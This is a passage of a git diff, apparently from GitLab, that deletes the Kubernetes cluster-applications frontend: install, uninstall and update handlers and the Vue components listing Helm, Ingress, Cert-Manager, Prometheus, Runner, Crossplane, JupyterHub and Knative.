- if (this.store.state.applications[KNATIVE]?.status === APPLICATION_STATUS.INSTALLED) {
- initServerlessSurveyBanner();
- }
}
hideAll() {
@@ -323,27 +217,6 @@ export default class Clusters {
this.authenticationFailureContainer.classList.add('hidden');
}
- checkForNewInstalls(prevApplicationMap, newApplicationMap) {
- const appTitles = Object.keys(newApplicationMap)
- .filter(
- (appId) =>
- newApplicationMap[appId].status === APPLICATION_STATUS.INSTALLED &&
- prevApplicationMap[appId].status !== APPLICATION_STATUS.INSTALLED &&
- prevApplicationMap[appId].status !== null,
- )
- .map((appId) => newApplicationMap[appId].title);
-
- if (appTitles.length > 0) {
- const text = sprintf(
- s__('ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster'),
- {
- appList: appTitles.join(', '),
- },
- );
- Flash(text, 'notice', this.successApplicationContainer);
- }
- }
-
setBannerDismissedState(status, isDismissed) {
if (AccessorUtilities.isLocalStorageAccessSafe()) {
window.localStorage.setItem(this.clusterBannerDismissedKey, `${status}_${isDismissed}`);
@@ -416,91 +289,9 @@ export default class Clusters {
}
}
- installApplication({ id: appId, params }) {
- return Clusters.validateInstallation(appId, params)
- .then(() => {
- this.store.updateAppProperty(appId, 'requestReason', null);
- this.store.updateAppProperty(appId, 'statusReason', null);
- this.store.installApplication(appId);
-
- // eslint-disable-next-line promise/no-nesting
- this.service.installApplication(appId, params).catch(() => {
- this.store.notifyInstallFailure(appId);
- this.store.updateAppProperty(
- appId,
- 'requestReason',
- s__('ClusterIntegration|Request to begin installing failed'),
- );
- });
- })
- .catch((error) => this.store.updateAppProperty(appId, 'validationError', error));
- }
-
- static validateInstallation(appId, params) {
- return new Promise((resolve, reject) => {
- if (appId === CROSSPLANE && !params.stack) {
- reject(s__('ClusterIntegration|Select a stack to install Crossplane.'));
- return;
- }
-
- if (appId === KNATIVE && !params.hostname && !params.pages_domain_id) {
- reject(s__('ClusterIntegration|You must specify a domain before you can install Knative.'));
- return;
- }
-
- resolve();
- });
- }
-
- uninstallApplication({ id: appId }) {
- this.store.updateAppProperty(appId, 'requestReason', null);
- this.store.updateAppProperty(appId, 'statusReason', null);
-
- this.store.uninstallApplication(appId);
-
- return this.service.uninstallApplication(appId).catch(() => {
- this.store.notifyUninstallFailure(appId);
- this.store.updateAppProperty(
- appId,
- 'requestReason',
- s__('ClusterIntegration|Request to begin uninstalling failed'),
- );
- });
- }
-
- updateApplication({ id: appId, params }) {
- this.store.updateApplication(appId);
- this.service.installApplication(appId, params).catch(() => {
- this.store.notifyUpdateFailure(appId);
- });
- }
-
- saveKnativeDomain(data) {
- const appId = data.id;
- this.store.updateApplication(appId);
- this.service.updateApplication(appId, data.params).catch(() => {
- this.store.notifyUpdateFailure(appId);
- });
- }
-
- setKnativeDomain({ id: appId, domain, domainId }) {
- this.store.updateAppProperty(appId, 'isEditingDomain', true);
- this.store.updateAppProperty(appId, 'hostname', domain);
- this.store.updateAppProperty(appId, 'pagesDomain', domainId ? { id: domainId, domain } : null);
- this.store.updateAppProperty(appId, 'validationError', null);
- }
-
- setCrossplaneProviderStack(data) {
- const appId = data.id;
- this.store.updateAppProperty(appId, 'stack', data.stack.code);
- this.store.updateAppProperty(appId, 'validationError', null);
- }
-
destroy() {
this.destroyed = true;
- this.removeListeners();
-
if (this.poll) {
this.poll.stop();
}
@@ -508,7 +299,5 @@ export default class Clusters {
if (this.environments) {
this.environments.$destroy();
}
-
- this.applications.$destroy();
}
}
diff --git a/app/assets/javascripts/clusters/components/application_row.vue b/app/assets/javascripts/clusters/components/application_row.vue
deleted file mode 100644
index a53b63ea592..00000000000
--- a/app/assets/javascripts/clusters/components/application_row.vue
+++ /dev/null
@@ -1,478 +0,0 @@
-<script>
-import { GlLink, GlModalDirective, GlSprintf, GlButton, GlAlert } from '@gitlab/ui';
-import { s__, __, sprintf } from '~/locale';
-import identicon from '../../vue_shared/components/identicon.vue';
-import { APPLICATION_STATUS, ELASTIC_STACK } from '../constants';
-import eventHub from '../event_hub';
-import UninstallApplicationButton from './uninstall_application_button.vue';
-import UninstallApplicationConfirmationModal from './uninstall_application_confirmation_modal.vue';
-import UpdateApplicationConfirmationModal from './update_application_confirmation_modal.vue';
-
-export default {
- components: {
- GlButton,
- identicon,
- GlLink,
- GlAlert,
- GlSprintf,
- UninstallApplicationButton,
- UninstallApplicationConfirmationModal,
- UpdateApplicationConfirmationModal,
- },
- directives: {
- GlModalDirective,
- },
- props: {
- id: {
- type: String,
- required: true,
- },
- title: {
- type: String,
- required: true,
- },
- titleLink: {
- type: String,
- required: false,
- default: '',
- },
- manageLink: {
- type: String,
- required: false,
- default: '',
- },
- logoUrl: {
- type: String,
- required: false,
- default: '',
- },
- disabled: {
- type: Boolean,
- required: false,
- default: false,
- },
- installable: {
- type: Boolean,
- required: false,
- default: true,
- },
- uninstallable: {
- type: Boolean,
- required: false,
- default: false,
- },
- status: {
- type: String,
- required: false,
- default: '',
- },
- statusReason: {
- type: String,
- required: false,
- default: '',
- },
- requestReason: {
- type: String,
- required: false,
- default: '',
- },
- installed: {
- type: Boolean,
- required: false,
- default: false,
- },
- installFailed: {
- type: Boolean,
- required: false,
- default: false,
- },
- version: {
- type: String,
- required: false,
- default: '',
- },
- chartRepo: {
- type: String,
- required: false,
- default: '',
- },
- updateAvailable: {
- type: Boolean,
- required: false,
- },
- updateable: {
- type: Boolean,
- default: true,
- required: false,
- },
- updateSuccessful: {
- type: Boolean,
- required: false,
- default: false,
- },
- updateFailed: {
- type: Boolean,
- required: false,
- default: false,
- },
- uninstallFailed: {
- type: Boolean,
- required: false,
- default: false,
- },
- uninstallSuccessful: {
- type: Boolean,
- required: false,
- default: false,
- },
- installApplicationRequestParams: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- },
- computed: {
- isUnknownStatus() {
- return !this.isKnownStatus && this.status !== null;
- },
- isKnownStatus() {
- return Object.values(APPLICATION_STATUS).includes(this.status);
- },
- isInstalling() {
- return this.status === APPLICATION_STATUS.INSTALLING;
- },
- isExternallyInstalled() {
- return this.status === APPLICATION_STATUS.EXTERNALLY_INSTALLED;
- },
- canInstall() {
- return (
- this.status === APPLICATION_STATUS.NOT_INSTALLABLE ||
- this.status === APPLICATION_STATUS.INSTALLABLE ||
- this.status === APPLICATION_STATUS.UNINSTALLED ||
- this.isUnknownStatus
- );
- },
- hasLogo() {
- return Boolean(this.logoUrl);
- },
- identiconId() {
- // generate a deterministic integer id for the identicon background
- return this.id.charCodeAt(0);
- },
- rowJsClass() {
- return `js-cluster-application-row-${this.id}`;
- },
- displayUninstallButton() {
- return this.installed && this.uninstallable;
- },
- displayInstallButton() {
- return !this.installed || !this.uninstallable;
- },
- installButtonLoading() {
- return !this.status || this.isInstalling;
- },
- installButtonDisabled() {
- // Applications installed through the management project can
- // only be installed through the CI pipeline. Installation should
- // be disable in all states.
- if (!this.installable) return true;
-
- // Avoid the potential for the real-time data to say APPLICATION_STATUS.INSTALLABLE but
- // we already made a request to install and are just waiting for the real-time
- // to sync up.
- if (this.isInstalling) return true;
-
- if (!this.isKnownStatus) return false;
-
- return (
- this.status !== APPLICATION_STATUS.INSTALLABLE && this.status !== APPLICATION_STATUS.ERROR
- );
- },
- installButtonLabel() {
- let label;
- if (this.canInstall) {
- label = __('Install');
- } else if (this.isInstalling) {
- label = __('Installing');
- } else if (this.installed) {
- label = __('Installed');
- } else if (this.isExternallyInstalled) {
- label = __('Externally installed');
- }
-
- return label;
- },
- buttonGridCellClass() {
- return this.showManageButton || this.status === APPLICATION_STATUS.EXTERNALLY_INSTALLED
- ? 'section-25'
- : 'section-15';
- },
- showManageButton() {
- return this.manageLink && this.status === APPLICATION_STATUS.INSTALLED;
- },
- manageButtonLabel() {
- return __('Manage');
- },
- hasError() {
- return this.installFailed || this.uninstallFailed;
- },
- generalErrorDescription() {
- let errorDescription;
-
- if (this.installFailed) {
- errorDescription = s__('ClusterIntegration|Something went wrong while installing %{title}');
- } else if (this.uninstallFailed) {
- errorDescription = s__(
- 'ClusterIntegration|Something went wrong while uninstalling %{title}',
- );
- }
-
- return sprintf(errorDescription, { title: this.title });
- },
- updateFailureDescription() {
- return s__('ClusterIntegration|Update failed. Please check the logs and try again.');
- },
- updateSuccessDescription() {
- return sprintf(s__('ClusterIntegration|%{title} updated successfully.'), {
- title: this.title,
- });
- },
- updateButtonLabel() {
- let label;
- if (this.updateAvailable && !this.updateFailed && !this.isUpdating) {
- label = __('Update');
- } else if (this.isUpdating) {
- label = __('Updating');
- } else if (this.updateFailed) {
- label = __('Retry update');
- }
-
- return label;
- },
- updatingNeedsConfirmation() {
- if (this.version) {
- const majorVersion = parseInt(this.version.split('.')[0], 10);
-
- if (!Number.isNaN(majorVersion)) {
- return this.id === ELASTIC_STACK && majorVersion < 3;
- }
- }
-
- return false;
- },
- isUpdating() {
- // Since upgrading is handled asynchronously on the backend we need this check to prevent any delay on the frontend
- return this.status === APPLICATION_STATUS.UPDATING;
- },
- shouldShowUpdateDetails() {
- // This method only returns true when;
- // Update was successful OR Update failed
- // AND new update is unavailable AND version information is present.
- return (this.updateSuccessful || this.updateFailed) && !this.updateAvailable && this.version;
- },
- uninstallSuccessDescription() {
- return sprintf(s__('ClusterIntegration|%{title} uninstalled successfully.'), {
- title: this.title,
- });
- },
- updateModalId() {
- return `update-${this.id}`;
- },
- uninstallModalId() {
- return `uninstall-${this.id}`;
- },
- },
- watch: {
- updateSuccessful(updateSuccessful) {
- if (updateSuccessful) {
- this.$toast.show(this.updateSuccessDescription);
- }
- },
- uninstallSuccessful(uninstallSuccessful) {
- if (uninstallSuccessful) {
- this.$toast.show(this.uninstallSuccessDescription);
- }
- },
- },
- methods: {
- installClicked() {
- if (this.disabled || this.installButtonDisabled) return;
-
- eventHub.$emit('installApplication', {
- id: this.id,
- params: this.installApplicationRequestParams,
- });
- },
- updateConfirmed() {
- if (this.isUpdating) return;
-
- eventHub.$emit('updateApplication', {
- id: this.id,
- params: this.installApplicationRequestParams,
- });
- },
- uninstallConfirmed() {
- eventHub.$emit('uninstallApplication', {
- id: this.id,
- });
- },
- },
-};
-</script>
-
-<template>
- <div
- :class="[
- rowJsClass,
- installed && 'cluster-application-installed',
- disabled && 'cluster-application-disabled',
- ]"
- class="cluster-application-row gl-responsive-table-row gl-responsive-table-row-col-span"
- :data-qa-selector="id"
- >
- <div class="gl-responsive-table-row-layout" role="row">
- <div class="table-section gl-mr-3 section-align-top" role="gridcell">
- <img
- v-if="hasLogo"
- :src="logoUrl"
- :alt="`${title} logo`"
- class="cluster-application-logo avatar s40"
- />
- <identicon v-else :entity-id="identiconId" :entity-name="title" size-class="s40" />
- </div>
- <div class="table-section cluster-application-description section-wrap" role="gridcell">
- <strong>
- <a
- v-if="titleLink"
- :href="titleLink"
- target="_blank"
- rel="noopener noreferrer"
- class="js-cluster-application-title"
- >{{ title }}</a
- >
- <span v-else class="js-cluster-application-title">{{ title }}</span>
- </strong>
- <slot name="installed-via"></slot>
- <div>
- <slot name="description"></slot>
- </div>
- <div v-if="hasError" class="cluster-application-error text-danger gl-mt-3">
- <p class="js-cluster-application-general-error-message gl-mb-0">
- {{ generalErrorDescription }}
- </p>
- <ul v-if="statusReason || requestReason">
- <li v-if="statusReason" class="js-cluster-application-status-error-message">
- {{ statusReason }}
- </li>
- <li v-if="requestReason" class="js-cluster-application-request-error-message">
- {{ requestReason }}
- </li>
- </ul>
- </div>
-
- <div v-if="updateable">
- <div
- v-if="shouldShowUpdateDetails"
- class="form-text text-muted label p-0 js-cluster-application-update-details"
- >
- <template v-if="updateFailed">{{ __('Update failed') }}</template>
- <template v-else-if="isUpdating">{{ __('Updating') }}</template>
- <template v-else>
- <gl-sprintf :message="__('Updated to %{linkStart}chart v%{linkEnd}')">
- <template #link="{ content }">
- <gl-link
- :href="chartRepo"
- target="_blank"
- class="js-cluster-application-update-version"
- >{{ content }}{{ version }}</gl-link
- >
- </template>
- </gl-sprintf>
- </template>
- </div>
-
- <gl-alert
- v-if="updateFailed && !isUpdating"
- variant="danger"
- :dismissible="false"
- class="gl-mt-3 gl-mb-0 js-cluster-application-update-details"
- >
- {{ updateFailureDescription }}
- </gl-alert>
- <template v-if="updateAvailable || updateFailed || isUpdating">
- <template v-if="updatingNeedsConfirmation">
- <gl-button
- v-gl-modal-directive="updateModalId"
- class="js-cluster-application-update-button mt-2"
- variant="info"
- category="primary"
- :loading="isUpdating"
- :disabled="isUpdating"
- data-qa-selector="update_button_with_confirmation"
- :data-qa-application="id"
- >
- {{ updateButtonLabel }}
- </gl-button>
- <update-application-confirmation-modal
- :application="id"
- :application-title="title"
- @confirm="updateConfirmed()"
- />
- </template>
-
- <gl-button
- v-else
- class="js-cluster-application-update-button mt-2"
- variant="info"
- category="primary"
- :loading="isUpdating"
- :disabled="isUpdating"
- data-qa-selector="update_button"
- :data-qa-application="id"
- @click="updateConfirmed"
- >
- {{ updateButtonLabel }}
- </gl-button>
- </template>
- </div>
- </div>
- <div
- :class="[buttonGridCellClass, 'table-section', 'table-button-footer', 'section-align-top']"
- role="gridcell"
- >
- <div v-if="showManageButton" class="btn-group table-action-buttons">
- <a :href="manageLink" :class="{ disabled: disabled }" class="btn">{{
- manageButtonLabel
- }}</a>
- </div>
- <div class="btn-group table-action-buttons">
- <gl-button
- v-if="displayInstallButton"
- :loading="installButtonLoading"
- :disabled="disabled || installButtonDisabled"
- class="js-cluster-application-install-button"
- variant="default"
- data-qa-selector="install_button"
- :data-qa-application="id"
- @click="installClicked"
- >
- {{ installButtonLabel }}
- </gl-button>
- <uninstall-application-button
- v-if="displayUninstallButton"
- v-gl-modal-directive="uninstallModalId"
- :status="status"
- data-qa-selector="uninstall_button"
- :data-qa-application="id"
- class="js-cluster-application-uninstall-button"
- />
- <uninstall-application-confirmation-modal
- :application="id"
- :application-title="title"
- @confirm="uninstallConfirmed()"
- />
- </div>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/clusters/components/applications.vue b/app/assets/javascripts/clusters/components/applications.vue
deleted file mode 100644
index ddee1711975..00000000000
--- a/app/assets/javascripts/clusters/components/applications.vue
+++ /dev/null
@@ -1,662 +0,0 @@
-<script>
-import { GlLoadingIcon, GlSprintf, GlLink, GlAlert } from '@gitlab/ui';
-import certManagerLogo from 'images/cluster_app_logos/cert_manager.png';
-import crossplaneLogo from 'images/cluster_app_logos/crossplane.png';
-import elasticStackLogo from 'images/cluster_app_logos/elastic_stack.png';
-import gitlabLogo from 'images/cluster_app_logos/gitlab.png';
-import helmLogo from 'images/cluster_app_logos/helm.png';
-import jupyterhubLogo from 'images/cluster_app_logos/jupyterhub.png';
-import knativeLogo from 'images/cluster_app_logos/knative.png';
-import kubernetesLogo from 'images/cluster_app_logos/kubernetes.png';
-import prometheusLogo from 'images/cluster_app_logos/prometheus.png';
-import eventHub from '~/clusters/event_hub';
-import clipboardButton from '../../vue_shared/components/clipboard_button.vue';
-import { CLUSTER_TYPE, PROVIDER_TYPE, APPLICATION_STATUS, INGRESS } from '../constants';
-import applicationRow from './application_row.vue';
-import CrossplaneProviderStack from './crossplane_provider_stack.vue';
-import KnativeDomainEditor from './knative_domain_editor.vue';
-
-export default {
- components: {
- applicationRow,
- clipboardButton,
- GlLoadingIcon,
- GlSprintf,
- GlLink,
- KnativeDomainEditor,
- CrossplaneProviderStack,
- GlAlert,
- },
- props: {
- type: {
- type: String,
- required: false,
- default: CLUSTER_TYPE.PROJECT,
- },
- applications: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- helpPath: {
- type: String,
- required: false,
- default: '',
- },
- helmHelpPath: {
- type: String,
- required: false,
- default: '',
- },
- ingressHelpPath: {
- type: String,
- required: false,
- default: '',
- },
- ingressDnsHelpPath: {
- type: String,
- required: false,
- default: '',
- },
-
- cloudRunHelpPath: {
- type: String,
- required: false,
- default: '',
- },
- managePrometheusPath: {
- type: String,
- required: false,
- default: '',
- },
- providerType: {
- type: String,
- required: false,
- default: '',
- },
- preInstalledKnative: {
- type: Boolean,
- required: false,
- default: false,
- },
- rbac: {
- type: Boolean,
- required: false,
- default: false,
- },
- ciliumHelpPath: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- ingressId() {
- return INGRESS;
- },
- ingressInstalled() {
- return this.applications.ingress.status === APPLICATION_STATUS.INSTALLED;
- },
- ingressExternalEndpoint() {
- return this.applications.ingress.externalIp || this.applications.ingress.externalHostname;
- },
- certManagerInstalled() {
- return this.applications.cert_manager.status === APPLICATION_STATUS.INSTALLED;
- },
- jupyterInstalled() {
- return this.applications.jupyter.status === APPLICATION_STATUS.INSTALLED;
- },
- jupyterHostname() {
- return this.applications.jupyter.hostname;
- },
- knative() {
- return this.applications.knative;
- },
- crossplane() {
- return this.applications.crossplane;
- },
- cloudRun() {
- return this.providerType === PROVIDER_TYPE.GCP && this.preInstalledKnative;
- },
- ingress() {
- return this.applications.ingress;
- },
- },
- methods: {
- saveKnativeDomain() {
- eventHub.$emit('saveKnativeDomain', {
- id: 'knative',
- params: {
- hostname: this.applications.knative.hostname,
- pages_domain_id: this.applications.knative.pagesDomain?.id,
- },
- });
- },
- setKnativeDomain({ domainId, domain }) {
- eventHub.$emit('setKnativeDomain', {
- id: 'knative',
- domainId,
- domain,
- });
- },
- setCrossplaneProviderStack(stack) {
- eventHub.$emit('setCrossplaneProviderStack', {
- id: 'crossplane',
- stack,
- });
- },
- },
- logos: {
- gitlabLogo,
- helmLogo,
- jupyterhubLogo,
- kubernetesLogo,
- certManagerLogo,
- crossplaneLogo,
- knativeLogo,
- prometheusLogo,
- elasticStackLogo,
- },
-};
-</script>
-
-<template>
- <section id="cluster-applications">
- <p class="gl-mb-0">
- {{
- s__(`ClusterIntegration|Choose which applications to install on your Kubernetes cluster.`)
- }}
- <gl-link :href="helpPath">{{ __('More information') }}</gl-link>
- </p>
-
- <div class="cluster-application-list gl-mt-3">
- <application-row
- v-if="applications.helm.installed || applications.helm.uninstalling"
- id="helm"
- :logo-url="$options.logos.helmLogo"
- :title="applications.helm.title"
- :status="applications.helm.status"
- :status-reason="applications.helm.statusReason"
- :request-status="applications.helm.requestStatus"
- :request-reason="applications.helm.requestReason"
- :installed="applications.helm.installed"
- :install-failed="applications.helm.installFailed"
- :uninstallable="applications.helm.uninstallable"
- :uninstall-successful="applications.helm.uninstallSuccessful"
- :uninstall-failed="applications.helm.uninstallFailed"
- title-link="https://v2.helm.sh/"
- >
- <template #description>
- <p>
- {{
- s__(`ClusterIntegration|Can be safely removed. Prior to GitLab
- 13.2, GitLab used a remote Tiller server to manage the
- applications. GitLab no longer uses this server.
- Uninstalling this server will not affect your other
- applications. This row will disappear afterwards.`)
- }}
- <gl-link :href="helmHelpPath">{{ __('More information') }}</gl-link>
- </p>
- </template>
- </application-row>
- <application-row
- :id="ingressId"
- :logo-url="$options.logos.kubernetesLogo"
- :title="applications.ingress.title"
- :status="applications.ingress.status"
- :status-reason="applications.ingress.statusReason"
- :request-status="applications.ingress.requestStatus"
- :request-reason="applications.ingress.requestReason"
- :installed="applications.ingress.installed"
- :install-failed="applications.ingress.installFailed"
- :uninstallable="applications.ingress.uninstallable"
- :uninstall-successful="applications.ingress.uninstallSuccessful"
- :uninstall-failed="applications.ingress.uninstallFailed"
- :updateable="false"
- title-link="https://kubernetes.io/docs/concepts/services-networking/ingress/"
- >
- <template #description>
- <p>
- {{
- s__(`ClusterIntegration|Ingress gives you a way to route
- requests to services based on the request host or path,
- centralizing a number of services into a single entrypoint.`)
- }}
- </p>
-
- <template v-if="ingressInstalled">
- <div class="form-group">
- <label for="ingress-endpoint">{{ s__('ClusterIntegration|Ingress Endpoint') }}</label>
- <div class="input-group">
- <template v-if="ingressExternalEndpoint">
- <input
- id="ingress-endpoint"
- :value="ingressExternalEndpoint"
- type="text"
- class="form-control js-endpoint"
- readonly
- />
- <span class="input-group-append">
- <clipboard-button
- :text="ingressExternalEndpoint"
- :title="s__('ClusterIntegration|Copy Ingress Endpoint')"
- class="input-group-text js-clipboard-btn"
- />
- </span>
- </template>
- <template v-else>
- <input type="text" class="form-control js-endpoint" readonly />
- <gl-loading-icon
- class="position-absolute align-self-center ml-2 js-ingress-ip-loading-icon"
- />
- </template>
- </div>
- <p class="form-text text-muted">
- {{
- s__(`ClusterIntegration|Point a wildcard DNS to this
- generated endpoint in order to access
- your application after it has been deployed.`)
- }}
- <gl-link :href="ingressDnsHelpPath" target="_blank">
- {{ __('More information') }}
- </gl-link>
- </p>
- </div>
-
- <p v-if="!ingressExternalEndpoint" class="settings-message js-no-endpoint-message">
- {{
- s__(`ClusterIntegration|The endpoint is in
- the process of being assigned. Please check your Kubernetes
- cluster or Quotas on Google Kubernetes Engine if it takes a long time.`)
- }}
- <gl-link :href="ingressDnsHelpPath" target="_blank">
- {{ __('More information') }}
- </gl-link>
- </p>
- </template>
- <template v-else>
- <gl-alert variant="info" :dismissible="false">
- <span data-testid="ingressCostWarning">
- <gl-sprintf
- :message="
- s__(
- 'ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}.',
- )
- "
- >
- <template #link="{ content }">
- <gl-link href="https://cloud.google.com/compute/pricing#lb" target="_blank">{{
- content
- }}</gl-link>
- </template>
- </gl-sprintf>
- </span>
- </gl-alert>
- </template>
- </template>
- </application-row>
- <application-row
- id="cert_manager"
- :logo-url="$options.logos.certManagerLogo"
- :title="applications.cert_manager.title"
- :status="applications.cert_manager.status"
- :status-reason="applications.cert_manager.statusReason"
- :request-status="applications.cert_manager.requestStatus"
- :request-reason="applications.cert_manager.requestReason"
- :installed="applications.cert_manager.installed"
- :install-failed="applications.cert_manager.installFailed"
- :install-application-request-params="{ email: applications.cert_manager.email }"
- :uninstallable="applications.cert_manager.uninstallable"
- :uninstall-successful="applications.cert_manager.uninstallSuccessful"
- :uninstall-failed="applications.cert_manager.uninstallFailed"
- title-link="https://cert-manager.readthedocs.io/en/latest/#"
- >
- <template #description>
- <p data-testid="certManagerDescription">
- <gl-sprintf
- :message="
- s__(`ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates.
- Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates
- are valid and up-to-date.`)
- "
- >
- <template #link="{ content }">
- <gl-link href="https://letsencrypt.org/" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
- <div class="form-group">
- <label for="cert-manager-issuer-email">
- {{ s__('ClusterIntegration|Issuer Email') }}
- </label>
- <div class="input-group">
- <!-- eslint-disable vue/no-mutating-props -->
- <input
- id="cert-manager-issuer-email"
- v-model="applications.cert_manager.email"
- :readonly="certManagerInstalled"
- type="text"
- class="form-control js-email"
- />
- <!-- eslint-enable vue/no-mutating-props -->
- </div>
- <p class="form-text text-muted">
- {{
- s__(`ClusterIntegration|Issuers represent a certificate authority.
- You must provide an email address for your Issuer.`)
- }}
- <gl-link
- href="http://docs.cert-manager.io/en/latest/reference/issuers.html?highlight=email"
- target="_blank"
- >{{ __('More information') }}</gl-link
- >
- </p>
- </div>
- </template>
- </application-row>
- <application-row
- id="prometheus"
- :logo-url="$options.logos.prometheusLogo"
- :title="applications.prometheus.title"
- :manage-link="managePrometheusPath"
- :status="applications.prometheus.status"
- :status-reason="applications.prometheus.statusReason"
- :request-status="applications.prometheus.requestStatus"
- :request-reason="applications.prometheus.requestReason"
- :installed="applications.prometheus.installed"
- :install-failed="applications.prometheus.installFailed"
- :uninstallable="applications.prometheus.uninstallable"
- :uninstall-successful="applications.prometheus.uninstallSuccessful"
- :uninstall-failed="applications.prometheus.uninstallFailed"
- title-link="https://prometheus.io/docs/introduction/overview/"
- >
- <template #description>
- <span data-testid="prometheusDescription">
- <gl-sprintf
- :message="
- s__(`ClusterIntegration|Prometheus is an open-source monitoring system
- with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications.`)
- "
- >
- <template #link="{ content }">
- <gl-link
- href="https://docs.gitlab.com/ee/user/project/integrations/prometheus.html"
- target="_blank"
- >{{ content }}</gl-link
- >
- </template>
- </gl-sprintf>
- </span>
- </template>
- </application-row>
- <application-row
- id="runner"
- :logo-url="$options.logos.gitlabLogo"
- :title="applications.runner.title"
- :status="applications.runner.status"
- :status-reason="applications.runner.statusReason"
- :request-status="applications.runner.requestStatus"
- :request-reason="applications.runner.requestReason"
- :version="applications.runner.version"
- :chart-repo="applications.runner.chartRepo"
- :update-available="applications.runner.updateAvailable"
- :installed="applications.runner.installed"
- :install-failed="applications.runner.installFailed"
- :update-successful="applications.runner.updateSuccessful"
- :update-failed="applications.runner.updateFailed"
- :uninstallable="applications.runner.uninstallable"
- :uninstall-successful="applications.runner.uninstallSuccessful"
- :uninstall-failed="applications.runner.uninstallFailed"
- title-link="https://docs.gitlab.com/runner/"
- >
- <template #description>
- {{
- s__(`ClusterIntegration|GitLab Runner connects to the
- repository and executes CI/CD jobs,
- pushing results back and deploying
- applications to production.`)
- }}
- </template>
- </application-row>
- <application-row
- id="crossplane"
- :logo-url="$options.logos.crossplaneLogo"
- :title="applications.crossplane.title"
- :status="applications.crossplane.status"
- :status-reason="applications.crossplane.statusReason"
- :request-status="applications.crossplane.requestStatus"
- :request-reason="applications.crossplane.requestReason"
- :installed="applications.crossplane.installed"
- :install-failed="applications.crossplane.installFailed"
- :uninstallable="applications.crossplane.uninstallable"
- :uninstall-successful="applications.crossplane.uninstallSuccessful"
- :uninstall-failed="applications.crossplane.uninstallFailed"
- :install-application-request-params="{ stack: applications.crossplane.stack }"
- title-link="https://crossplane.io"
- >
- <template #description>
- <p data-testid="crossplaneDescription">
- <gl-sprintf
- :message="
- s__(
- `ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}.
- Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on.`,
- )
- "
- >
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- <template #link="{ content }">
- <gl-link
- href="https://docs.gitlab.com/ee/user/clusters/applications.html#crossplane"
- target="_blank"
- >{{ content }}</gl-link
- >
- </template>
- </gl-sprintf>
- </p>
- <div class="form-group">
- <CrossplaneProviderStack :crossplane="crossplane" @set="setCrossplaneProviderStack" />
- </div>
- </template>
- </application-row>
-
- <application-row
- id="jupyter"
- :logo-url="$options.logos.jupyterhubLogo"
- :title="applications.jupyter.title"
- :status="applications.jupyter.status"
- :status-reason="applications.jupyter.statusReason"
- :request-status="applications.jupyter.requestStatus"
- :request-reason="applications.jupyter.requestReason"
- :installed="applications.jupyter.installed"
- :install-failed="applications.jupyter.installFailed"
- :uninstallable="applications.jupyter.uninstallable"
- :uninstall-successful="applications.jupyter.uninstallSuccessful"
- :uninstall-failed="applications.jupyter.uninstallFailed"
- :install-application-request-params="{ hostname: applications.jupyter.hostname }"
- title-link="https://jupyterhub.readthedocs.io/en/stable/"
- >
- <template #description>
- <p>
- {{
- s__(`ClusterIntegration|JupyterHub, a multi-user Hub, spawns,
- manages, and proxies multiple instances of the single-user
- Jupyter notebook server. JupyterHub can be used to serve
- notebooks to a class of students, a corporate data science group,
- or a scientific research group.`)
- }}
- <gl-sprintf
- :message="
- s__(
- 'ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed.',
- )
- "
- >
- <template #bold="{ content }">
- <b>{{ content }}</b>
- </template>
- </gl-sprintf>
- </p>
-
- <template v-if="ingressExternalEndpoint">
- <div class="form-group">
- <label for="jupyter-hostname">{{ s__('ClusterIntegration|Jupyter Hostname') }}</label>
-
- <div class="input-group">
- <!-- eslint-disable vue/no-mutating-props -->
- <input
- id="jupyter-hostname"
- v-model="applications.jupyter.hostname"
- :readonly="jupyterInstalled"
- type="text"
- class="form-control js-hostname"
- />
- <!-- eslint-enable vue/no-mutating-props -->
- <span class="input-group-append">
- <clipboard-button
- :text="jupyterHostname"
- :title="s__('ClusterIntegration|Copy Jupyter Hostname')"
- class="js-clipboard-btn"
- />
- </span>
- </div>
-
- <p v-if="ingressInstalled" class="form-text text-muted">
- {{
- s__(`ClusterIntegration|Replace this with your own hostname if you want.
- If you do so, point hostname to Ingress IP Address from above.`)
- }}
- <gl-link :href="ingressDnsHelpPath" target="_blank">
- {{ __('More information') }}
- </gl-link>
- </p>
- </div>
- </template>
- </template>
- </application-row>
- <application-row
- id="knative"
- :logo-url="$options.logos.knativeLogo"
- :title="applications.knative.title"
- :status="applications.knative.status"
- :status-reason="applications.knative.statusReason"
- :request-status="applications.knative.requestStatus"
- :request-reason="applications.knative.requestReason"
- :installed="applications.knative.installed"
- :install-failed="applications.knative.installFailed"
- :install-application-request-params="{
- hostname: applications.knative.hostname,
- pages_domain_id: applications.knative.pagesDomain && applications.knative.pagesDomain.id,
- }"
- :uninstallable="applications.knative.uninstallable"
- :uninstall-successful="applications.knative.uninstallSuccessful"
- :uninstall-failed="applications.knative.uninstallFailed"
- :updateable="false"
- v-bind="applications.knative"
- title-link="https://github.com/knative/docs"
- >
- <template #description>
- <gl-alert v-if="!rbac" variant="info" class="rbac-notice gl-my-3" :dismissible="false">
- {{
- s__(`ClusterIntegration|You must have an RBAC-enabled cluster
- to install Knative.`)
- }}
- <gl-link :href="helpPath" target="_blank">{{ __('More information') }}</gl-link>
- </gl-alert>
- <p>
- {{
- s__(`ClusterIntegration|Knative extends Kubernetes to provide
- a set of middleware components that are essential to build modern,
- source-centric, and container-based applications that can run
- anywhere: on premises, in the cloud, or even in a third-party data center.`)
- }}
- </p>
-
- <knative-domain-editor
- v-if="(knative.installed || rbac) && !preInstalledKnative"
- :knative="knative"
- :ingress-dns-help-path="ingressDnsHelpPath"
- @save="saveKnativeDomain"
